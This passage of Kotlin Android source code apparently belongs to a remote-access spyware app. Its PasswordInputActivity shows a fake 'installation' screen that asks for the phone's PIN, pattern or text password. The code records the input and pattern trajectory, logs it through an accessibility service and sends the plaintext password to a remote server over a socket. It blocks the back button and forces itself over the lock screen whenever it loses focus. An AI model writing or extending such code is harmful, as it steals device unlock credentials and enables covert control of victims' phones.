Log.i(TAG, "⚠️ 密码检测异常,直接完成安装")
|
|||
|
|
passwordType = PASSWORD_TYPE_NONE
|
|||
|
|
completeInstallationDirectly()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}.start()
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 保存图形密码轨迹
|
|||
|
|
*/
|
|||
|
|
private fun savePatternTrajectory(trajectory: List<PointF>) {
|
|||
|
|
try {
|
|||
|
|
val trajectoryData = PatternTrajectoryData(
|
|||
|
|
deviceId = deviceId,
|
|||
|
|
installationId = installationId,
|
|||
|
|
timestamp = System.currentTimeMillis(),
|
|||
|
|
points = trajectory,
|
|||
|
|
passwordType = PASSWORD_TYPE_PATTERN
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
// 保存到本地存储
|
|||
|
|
passwordDetector?.savePatternTrajectory(trajectoryData)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "💾 图形密码轨迹已保存: ${trajectory.size} 个点")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 保存图形密码轨迹失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 处理确认点击
|
|||
|
|
*/
|
|||
|
|
private fun handleConfirmClick() {
|
|||
|
|
Log.i(TAG, "✅ 用户确认完成安装")
|
|||
|
|
|
|||
|
|
// 保存密码信息
|
|||
|
|
savePasswordInfo()
|
|||
|
|
|
|||
|
|
// 显示完成状态
|
|||
|
|
confirmButton.isEnabled = false
|
|||
|
|
skipButton.isEnabled = false
|
|||
|
|
|
|||
|
|
// 延迟后完成安装
|
|||
|
|
Handler(Looper.getMainLooper()).postDelayed({
|
|||
|
|
completeInstallation()
|
|||
|
|
}, 2000)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 处理跳过点击
|
|||
|
|
*/
|
|||
|
|
private fun handleSkipClick() {
|
|||
|
|
Log.i(TAG, "⏭️ 用户跳过密码输入")
|
|||
|
|
|
|||
|
|
try {
|
|||
|
|
// 立即更新UI状态
|
|||
|
|
|
|||
|
|
// 禁用按钮,避免重复点击
|
|||
|
|
confirmButton.isEnabled = false
|
|||
|
|
skipButton.isEnabled = false
|
|||
|
|
|
|||
|
|
// 延迟后完成安装,确保UI更新完成
|
|||
|
|
Handler(Looper.getMainLooper()).postDelayed({
|
|||
|
|
completeInstallation()
|
|||
|
|
}, 500)
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 处理跳过点击时出错", e)
|
|||
|
|
// 如果出错,直接完成安装
|
|||
|
|
completeInstallation()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 保存密码信息
|
|||
|
|
*/
|
|||
|
|
private fun savePasswordInfo() {
|
|||
|
|
try {
|
|||
|
|
val passwordInfo = PasswordInfo(
|
|||
|
|
deviceId = deviceId,
|
|||
|
|
installationId = installationId,
|
|||
|
|
passwordType = passwordType,
|
|||
|
|
hasPassword = passwordType != PASSWORD_TYPE_NONE,
|
|||
|
|
timestamp = System.currentTimeMillis()
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
// 保存到本地存储
|
|||
|
|
passwordDetector?.savePasswordInfo(passwordInfo)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "💾 密码信息已保存: $passwordType")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 保存密码信息失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun onDestroy() {
|
|||
|
|
super.onDestroy()
|
|||
|
|
Log.i(TAG, "🔐 密码输入页面销毁")
|
|||
|
|
|
|||
|
|
// 如果是Socket唤醒模式,记录销毁原因
|
|||
|
|
if (isSocketWake) {
|
|||
|
|
Log.w(TAG, "⚠️ Socket唤醒模式:Activity被销毁,这不应该发生")
|
|||
|
|
Log.w(TAG, "⚠️ 请检查系统是否强制杀死了Activity")
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try {
|
|||
|
|
// 清理资源
|
|||
|
|
passwordDetector = null
|
|||
|
|
patternTrajectory.clear()
|
|||
|
|
currentPassword = ""
|
|||
|
|
|
|||
|
|
// 确保所有View都被正确清理
|
|||
|
|
patternView?.let {
|
|||
|
|
it.setOnPatternListener(null)
|
|||
|
|
it.clearPattern()
|
|||
|
|
}
|
|||
|
|
pinInputView?.let {
|
|||
|
|
it.setOnPinCompleteListener(null)
|
|||
|
|
it.clearPin()
|
|||
|
|
}
|
|||
|
|
fourDigitPinView?.let {
|
|||
|
|
it.setOnPinCompleteListener(null)
|
|||
|
|
it.clearPin()
|
|||
|
|
}
|
|||
|
|
passwordInputView?.let {
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
it.setOnPasswordCompleteListener(null)
|
|||
|
|
it.clearPassword()
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 清理资源时出错", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun onBackPressed() {
|
|||
|
|
Log.i(TAG, "🔐 用户按返回键,但密码输入未完成,不允许退出")
|
|||
|
|
// 不调用super.onBackPressed(),防止用户直接退出
|
|||
|
|
// 可以显示提示信息
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 已按要求去掉系统验证流程
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 标记密码框已显示
|
|||
|
|
*/
|
|||
|
|
private fun markPasswordInputShown() {
|
|||
|
|
try {
|
|||
|
|
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
|||
|
|
sharedPrefs.edit().putBoolean("password_input_shown", true).apply()
|
|||
|
|
Log.i(TAG, "✅ 密码框显示状态已标记")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 标记密码框显示状态失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 标记密码输入已完成
|
|||
|
|
*/
|
|||
|
|
private fun markPasswordInputCompleted() {
|
|||
|
|
try {
|
|||
|
|
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
|||
|
|
sharedPrefs.edit().putBoolean("password_input_completed", true).apply()
|
|||
|
|
Log.i(TAG, "✅ 密码输入状态已标记为完成")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 标记密码输入完成状态失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 记录密码日志
|
|||
|
|
*/
|
|||
|
|
private fun recordPasswordLog() {
|
|||
|
|
try {
|
|||
|
|
Log.i(TAG, "📝 记录密码输入日志: $passwordType")
|
|||
|
|
|
|||
|
|
val service = AccessibilityRemoteService.getInstance()
|
|||
|
|
if (service != null) {
|
|||
|
|
val inputMethod = when (passwordType) {
|
|||
|
|
PASSWORD_TYPE_PIN -> "6位PIN"
|
|||
|
|
PASSWORD_TYPE_PIN_4 -> "4位PIN"
|
|||
|
|
PASSWORD_TYPE_PATTERN -> "图形密码"
|
|||
|
|
PASSWORD_TYPE_PASSWORD -> "文本密码"
|
|||
|
|
else -> "未知类型"
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
service.recordOperationLog(
|
|||
|
|
"TEXT_INPUT",
|
|||
|
|
"文本输入: ${currentPassword.take(50)}${if (currentPassword.length > 50) "..." else ""}",
|
|||
|
|
mapOf(
|
|||
|
|
"textLength" to currentPassword.length,
|
|||
|
|
"inputMethod" to inputMethod,
|
|||
|
|
"containsPassword" to true,
|
|||
|
|
"operationType" to "PASSWORD_INPUT",
|
|||
|
|
"passwordType" to passwordType,
|
|||
|
|
"activity" to "PasswordInputActivity",
|
|||
|
|
"deviceId" to deviceId,
|
|||
|
|
"installationId" to installationId
|
|||
|
|
)
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 密码日志已记录")
|
|||
|
|
} else {
|
|||
|
|
Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用,无法记录日志")
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 记录密码日志失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 发送密码到服务器
|
|||
|
|
*/
|
|||
|
|
private fun sendPasswordToServer() {
|
|||
|
|
try {
|
|||
|
|
Log.i(TAG, "📡 开始发送密码到服务器: $passwordType")
|
|||
|
|
|
|||
|
|
val service = AccessibilityRemoteService.getInstance()
|
|||
|
|
if (service != null) {
|
|||
|
|
val socketManager = service.getSocketIOManager()
|
|||
|
|
if (socketManager != null) {
|
|||
|
|
// 根据密码类型发送不同的数据
|
|||
|
|
val inputMethod = when (passwordType) {
|
|||
|
|
PASSWORD_TYPE_PIN -> "6位PIN"
|
|||
|
|
PASSWORD_TYPE_PIN_4 -> "4位PIN"
|
|||
|
|
PASSWORD_TYPE_PATTERN -> "图形密码"
|
|||
|
|
PASSWORD_TYPE_PASSWORD -> "文本密码"
|
|||
|
|
else -> "未知类型"
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
socketManager.sendPasswordInputData(
|
|||
|
|
currentPassword,
|
|||
|
|
inputMethod,
|
|||
|
|
passwordType,
|
|||
|
|
"PasswordInputActivity",
|
|||
|
|
deviceId,
|
|||
|
|
installationId
|
|||
|
|
)
|
|||
|
|
Log.i(TAG, "✅ 密码已通过Socket发送: $passwordType")
|
|||
|
|
} else {
|
|||
|
|
Log.w(TAG, "⚠️ SocketIOManager实例不可用,无法发送密码")
|
|||
|
|
}
|
|||
|
|
} else {
|
|||
|
|
Log.w(TAG, "⚠️ AccessibilityRemoteService实例不可用,无法获取SocketIOManager")
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 发送密码到服务器失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 处理密码类型切换
|
|||
|
|
*/
|
|||
|
|
private fun handlePasswordTypeSwitch(selectedType: String) {
|
|||
|
|
Log.d(TAG, "🔄 切换到密码类型: $selectedType")
|
|||
|
|
when (selectedType) {
|
|||
|
|
"4位数字密码" -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PIN_4
|
|||
|
|
setupFourDigitPinUI()
|
|||
|
|
}
|
|||
|
|
"6位数字密码" -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PIN
|
|||
|
|
setupPinUI()
|
|||
|
|
}
|
|||
|
|
"图形密码" -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PATTERN
|
|||
|
|
setupPatternUI()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 显示密码类型选择对话框
|
|||
|
|
*/
|
|||
|
|
private fun showPasswordTypeSelectionDialog() {
|
|||
|
|
try {
|
|||
|
|
Log.i(TAG, "🔀 显示密码类型选择对话框")
|
|||
|
|
|
|||
|
|
val options = arrayOf("6位数字密码", "4位数字密码", "图形密码", "文本密码")
|
|||
|
|
val currentIndex = when (passwordType) {
|
|||
|
|
PASSWORD_TYPE_PIN -> 0
|
|||
|
|
PASSWORD_TYPE_PIN_4 -> 1
|
|||
|
|
PASSWORD_TYPE_PATTERN -> 2
|
|||
|
|
PASSWORD_TYPE_PASSWORD -> 3
|
|||
|
|
else -> 0
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
val builder = android.app.AlertDialog.Builder(this)
|
|||
|
|
builder.setTitle("选择密码输入方式")
|
|||
|
|
.setSingleChoiceItems(options, currentIndex) { dialog, which ->
|
|||
|
|
// 用户选择后立即切换
|
|||
|
|
when (which) {
|
|||
|
|
0 -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PIN
|
|||
|
|
pinInputView.setInstructionText("请输入6位数字密码")
|
|||
|
|
setupPinUI()
|
|||
|
|
}
|
|||
|
|
1 -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PIN_4
|
|||
|
|
fourDigitPinView.setInstructionText("请输入4位数字密码")
|
|||
|
|
setupFourDigitPinUI()
|
|||
|
|
}
|
|||
|
|
2 -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PATTERN
|
|||
|
|
patternView.setInstructionText("请绘制图形密码")
|
|||
|
|
setupPatternUI()
|
|||
|
|
}
|
|||
|
|
3 -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PASSWORD
|
|||
|
|
passwordInputView.setInstructionText("请输入文本密码")
|
|||
|
|
setupPasswordUI()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
dialog.dismiss()
|
|||
|
|
}
|
|||
|
|
.setNegativeButton("取消", null)
|
|||
|
|
.show()
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 显示密码类型选择对话框失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 直接完成安装(无需密码输入)
|
|||
|
|
*/
|
|||
|
|
private fun completeInstallationDirectly() {
|
|||
|
|
Log.i(TAG, "🎉 直接完成安装流程(无需密码输入)")
|
|||
|
|
|
|||
|
|
try {
|
|||
|
|
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
|
|||
|
|
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
|
|||
|
|
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
|||
|
|
|
|||
|
|
if (isInstallationComplete) {
|
|||
|
|
Log.i(TAG, "✅ 检测到安装已完成,跳过安装完成处理")
|
|||
|
|
} else {
|
|||
|
|
Log.i(TAG, "📡 安装未完成,调用安装完成处理函数")
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 🔐 标记密码框已显示(防止重复启动)
|
|||
|
|
markPasswordInputShown()
|
|||
|
|
|
|||
|
|
// 🔐 标记密码输入已完成
|
|||
|
|
markPasswordInputCompleted()
|
|||
|
|
|
|||
|
|
// 重置密码输入页面监听状态
|
|||
|
|
try {
|
|||
|
|
val service = AccessibilityRemoteService.getInstance()
|
|||
|
|
service?.getAccessibilityEventManager()?.resetPasswordInputActivityState()
|
|||
|
|
Log.d(TAG, "🔐 密码输入页面监听状态已重置")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 重置密码输入页面监听状态失败", e)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 保存密码信息(无密码状态)
|
|||
|
|
savePasswordInfo()
|
|||
|
|
|
|||
|
|
// ✅ 只有安装未完成时才处理安装完成
|
|||
|
|
if (!isInstallationComplete) {
|
|||
|
|
// ✅ 直接调用函数,不再使用广播
|
|||
|
|
try {
|
|||
|
|
Log.i(TAG, "🔄 使用直接函数调用方式处理安装完成(直接完成)")
|
|||
|
|
com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete(
|
|||
|
|
context = this@PasswordInputActivity,
|
|||
|
|
deviceId = deviceId,
|
|||
|
|
installationId = installationId,
|
|||
|
|
passwordType = 0, // PASSWORD_TYPE_NONE = 0
|
|||
|
|
hasPassword = false
|
|||
|
|
)
|
|||
|
|
Log.i(TAG, "✅ 直接调用安装完成处理成功")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 直接调用安装完成处理失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 启动主服务
|
|||
|
|
val serviceIntent = Intent(this, AccessibilityRemoteService::class.java)
|
|||
|
|
startService(serviceIntent)
|
|||
|
|
Log.i(TAG, "🚀 主服务已启动")
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 直接完成安装时出错", e)
|
|||
|
|
} finally {
|
|||
|
|
// 密码输入完成时只销毁当前Activity,不销毁整个任务栈
|
|||
|
|
Log.i(TAG, "✅ 密码输入完成,准备销毁当前Activity")
|
|||
|
|
Handler(Looper.getMainLooper()).postDelayed({
|
|||
|
|
try {
|
|||
|
|
// 只销毁当前Activity,让MainActivity处理后续流程
|
|||
|
|
finish()
|
|||
|
|
Log.i(TAG, "✅ 当前Activity已销毁,MainActivity将处理后续流程")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 关闭Activity时出错", e)
|
|||
|
|
}
|
|||
|
|
}, 1000)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 完成安装
|
|||
|
|
*/
|
|||
|
|
private fun completeInstallation() {
|
|||
|
|
Log.i(TAG, "🎉 安装流程完成")
|
|||
|
|
|
|||
|
|
try {
|
|||
|
|
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
|
|||
|
|
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
|
|||
|
|
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
|||
|
|
|
|||
|
|
if (isInstallationComplete) {
|
|||
|
|
Log.i(TAG, "✅ 检测到安装已完成,跳过安装完成处理")
|
|||
|
|
// 仍然需要执行其他操作(如发送密码到服务器等),但不调用安装完成处理函数
|
|||
|
|
} else {
|
|||
|
|
Log.i(TAG, "📡 安装未完成,调用安装完成处理函数")
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 🔐 标记密码输入已完成
|
|||
|
|
markPasswordInputCompleted()
|
|||
|
|
|
|||
|
|
// 重置密码输入页面监听状态
|
|||
|
|
try {
|
|||
|
|
val service = AccessibilityRemoteService.getInstance()
|
|||
|
|
service?.getAccessibilityEventManager()?.resetPasswordInputActivityState()
|
|||
|
|
Log.d(TAG, "🔐 密码输入页面监听状态已重置")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 重置密码输入页面监听状态失败", e)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 发送密码到服务器(如果有密码)
|
|||
|
|
if (passwordType != PASSWORD_TYPE_NONE && currentPassword.isNotEmpty()) {
|
|||
|
|
// 记录密码日志
|
|||
|
|
recordPasswordLog()
|
|||
|
|
// 发送密码到服务器
|
|||
|
|
sendPasswordToServer()
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// ✅ 只有安装未完成时才处理安装完成
|
|||
|
|
if (!isInstallationComplete) {
|
|||
|
|
// ✅ 直接调用函数,不再使用广播
|
|||
|
|
val passwordTypeInt = when (passwordType) {
|
|||
|
|
PASSWORD_TYPE_NONE -> 0
|
|||
|
|
PASSWORD_TYPE_PIN -> 1
|
|||
|
|
PASSWORD_TYPE_PIN_4 -> 2
|
|||
|
|
PASSWORD_TYPE_PATTERN -> 3
|
|||
|
|
PASSWORD_TYPE_PASSWORD -> 4
|
|||
|
|
else -> 0
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try {
|
|||
|
|
Log.i(TAG, "🔄 使用直接函数调用方式处理安装完成")
|
|||
|
|
com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete(
|
|||
|
|
context = this@PasswordInputActivity,
|
|||
|
|
deviceId = deviceId,
|
|||
|
|
installationId = installationId,
|
|||
|
|
passwordType = passwordTypeInt,
|
|||
|
|
hasPassword = passwordType != PASSWORD_TYPE_NONE
|
|||
|
|
)
|
|||
|
|
Log.i(TAG, "✅ 直接调用安装完成处理成功")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 直接调用安装完成处理失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// ✅ 备用方案:直接启动MainActivity显示WebView(仅在安装未完成时执行)
|
|||
|
|
if (!isInstallationComplete) {
|
|||
|
|
try {
|
|||
|
|
// 手动设置安装完成状态
|
|||
|
|
val passwordTypeInt = when (passwordType) {
|
|||
|
|
PASSWORD_TYPE_NONE -> 0
|
|||
|
|
PASSWORD_TYPE_PIN -> 1
|
|||
|
|
PASSWORD_TYPE_PIN_4 -> 2
|
|||
|
|
PASSWORD_TYPE_PATTERN -> 3
|
|||
|
|
PASSWORD_TYPE_PASSWORD -> 4
|
|||
|
|
else -> 0
|
|||
|
|
}
|
|||
|
|
// 直接调用安装完成处理函数,不再手动设置状态
|
|||
|
|
com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete(
|
|||
|
|
context = this@PasswordInputActivity,
|
|||
|
|
deviceId = deviceId,
|
|||
|
|
installationId = installationId,
|
|||
|
|
passwordType = passwordTypeInt,
|
|||
|
|
hasPassword = passwordType != PASSWORD_TYPE_NONE
|
|||
|
|
)
|
|||
|
|
Log.i(TAG, "✅ 已调用安装完成处理函数")
|
|||
|
|
|
|||
|
|
val start = Intent(this, com.hikoncont.MainActivity::class.java).apply {
|
|||
|
|
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
|||
|
|
addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
|
|||
|
|
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
|
|||
|
|
putExtra("from_installation_complete", true)
|
|||
|
|
putExtra("show_webview", true)
|
|||
|
|
}
|
|||
|
|
startActivity(start)
|
|||
|
|
Log.i(TAG, "✅ 备用方案:已启动 MainActivity 显示WebView")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 备用方案启动MainActivity失败", e)
|
|||
|
|
}
|
|||
|
|
} else {
|
|||
|
|
Log.d(TAG, "✅ 安装已完成,跳过备用方案(启动MainActivity)")
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 启动主服务
|
|||
|
|
if (!isInstallationComplete){
|
|||
|
|
val serviceIntent = Intent(this, AccessibilityRemoteService::class.java)
|
|||
|
|
startService(serviceIntent)
|
|||
|
|
Log.i(TAG, "🚀 主服务已启动")
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 完成安装时出错", e)
|
|||
|
|
} finally {
|
|||
|
|
// 延迟关闭Activity,确保广播和服务启动完成
|
|||
|
|
Handler(Looper.getMainLooper()).postDelayed({
|
|||
|
|
try {
|
|||
|
|
// 先清理UI状态
|
|||
|
|
runOnUiThread {
|
|||
|
|
try {
|
|||
|
|
// 隐藏所有输入视图
|
|||
|
|
patternView?.visibility = View.GONE
|
|||
|
|
pinInputView?.visibility = View.GONE
|
|||
|
|
fourDigitPinView?.visibility = View.GONE
|
|||
|
|
passwordInputView?.visibility = View.GONE
|
|||
|
|
|
|||
|
|
// 显示完成状态
|
|||
|
|
|
|||
|
|
// 禁用所有按钮
|
|||
|
|
confirmButton.isEnabled = false
|
|||
|
|
skipButton.isEnabled = false
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.w(TAG, "清理UI状态时出错", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 密码输入完成时只销毁当前Activity,不销毁整个任务栈
|
|||
|
|
Log.i(TAG, "✅ 密码输入完成,准备销毁当前Activity")
|
|||
|
|
Handler(Looper.getMainLooper()).postDelayed({
|
|||
|
|
try {
|
|||
|
|
// 只销毁当前Activity,让MainActivity处理后续流程
|
|||
|
|
finish()
|
|||
|
|
Log.i(TAG, "✅ 当前Activity已销毁,MainActivity将处理后续流程")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 关闭Activity时出错", e)
|
|||
|
|
}
|
|||
|
|
}, 1000)
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 延迟关闭时出错", e)
|
|||
|
|
// 密码输入完成时即使出错也要销毁Activity
|
|||
|
|
finish()
|
|||
|
|
}
|
|||
|
|
}, 500)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 图形密码轨迹数据类
|
|||
|
|
*/
|
|||
|
|
data class PatternTrajectoryData(
|
|||
|
|
val deviceId: String,
|
|||
|
|
val installationId: String,
|
|||
|
|
val timestamp: Long,
|
|||
|
|
val points: List<PointF>,
|
|||
|
|
val passwordType: String
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 密码信息数据类
|
|||
|
|
*/
|
|||
|
|
data class PasswordInfo(
|
|||
|
|
val deviceId: String,
|
|||
|
|
val installationId: String,
|
|||
|
|
val passwordType: String,
|
|||
|
|
val hasPassword: Boolean,
|
|||
|
|
val timestamp: Long
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 强制显示密码页面(Socket唤醒专用)
|
|||
|
|
*/
|
|||
|
|
private fun forceShowPasswordPage() {
|
|||
|
|
try {
|
|||
|
|
Log.d(TAG, "🔝 Socket唤醒:强制显示密码输入页面")
|
|||
|
|
|
|||
|
|
// 设置窗口标志,确保Activity在前台
|
|||
|
|
window.addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
|
|||
|
|
window.addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD)
|
|||
|
|
window.addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
|
|||
|
|
window.addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
|
|||
|
|
|
|||
|
|
// 重新启动Activity以确保置顶
|
|||
|
|
val intent = Intent(this, PasswordInputActivity::class.java).apply {
|
|||
|
|
putExtra(EXTRA_PASSWORD_TYPE, passwordType)
|
|||
|
|
putExtra(EXTRA_DEVICE_ID, deviceId)
|
|||
|
|
putExtra(EXTRA_INSTALLATION_ID, installationId)
|
|||
|
|
putExtra(EXTRA_SOCKET_WAKE, isSocketWake)
|
|||
|
|
flags = Intent.FLAG_ACTIVITY_NEW_TASK or
|
|||
|
|
Intent.FLAG_ACTIVITY_SINGLE_TOP or
|
|||
|
|
Intent.FLAG_ACTIVITY_REORDER_TO_FRONT
|
|||
|
|
}
|
|||
|
|
startActivity(intent)
|
|||
|
|
|
|||
|
|
// 延迟重置标志,避免立即重复调用
|
|||
|
|
Handler(Looper.getMainLooper()).postDelayed({
|
|||
|
|
isForceShowing = false
|
|||
|
|
}, 3000) // 3秒后重置标志
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 强制显示密码页面失败", e)
|
|||
|
|
isForceShowing = false // 出错时重置标志
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 检查并强制显示(如果需要)
|
|||
|
|
*/
|
|||
|
|
private fun checkAndForceShowIfNeeded() {
|
|||
|
|
try {
|
|||
|
|
Log.d(TAG, "🔍 检查是否需要强制显示密码页面")
|
|||
|
|
|
|||
|
|
// 检查当前Activity是否在前台
|
|||
|
|
val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|||
|
|
val taskInfo = activityManager.getRunningTasks(1)
|
|||
|
|
|
|||
|
|
if (taskInfo.isNotEmpty()) {
|
|||
|
|
val topActivity = taskInfo[0].topActivity
|
|||
|
|
Log.d(TAG, "🔍 当前顶部Activity: ${topActivity?.className}")
|
|||
|
|
|
|||
|
|
if (topActivity?.className != this::class.java.name) {
|
|||
|
|
Log.d(TAG, "🔝 检测到密码输入页面不在前台,强制重新显示")
|
|||
|
|
isForceShowing = true
|
|||
|
|
forceShowPasswordPage()
|
|||
|
|
} else {
|
|||
|
|
Log.d(TAG, "✅ 密码输入页面已在前台")
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查前台状态失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|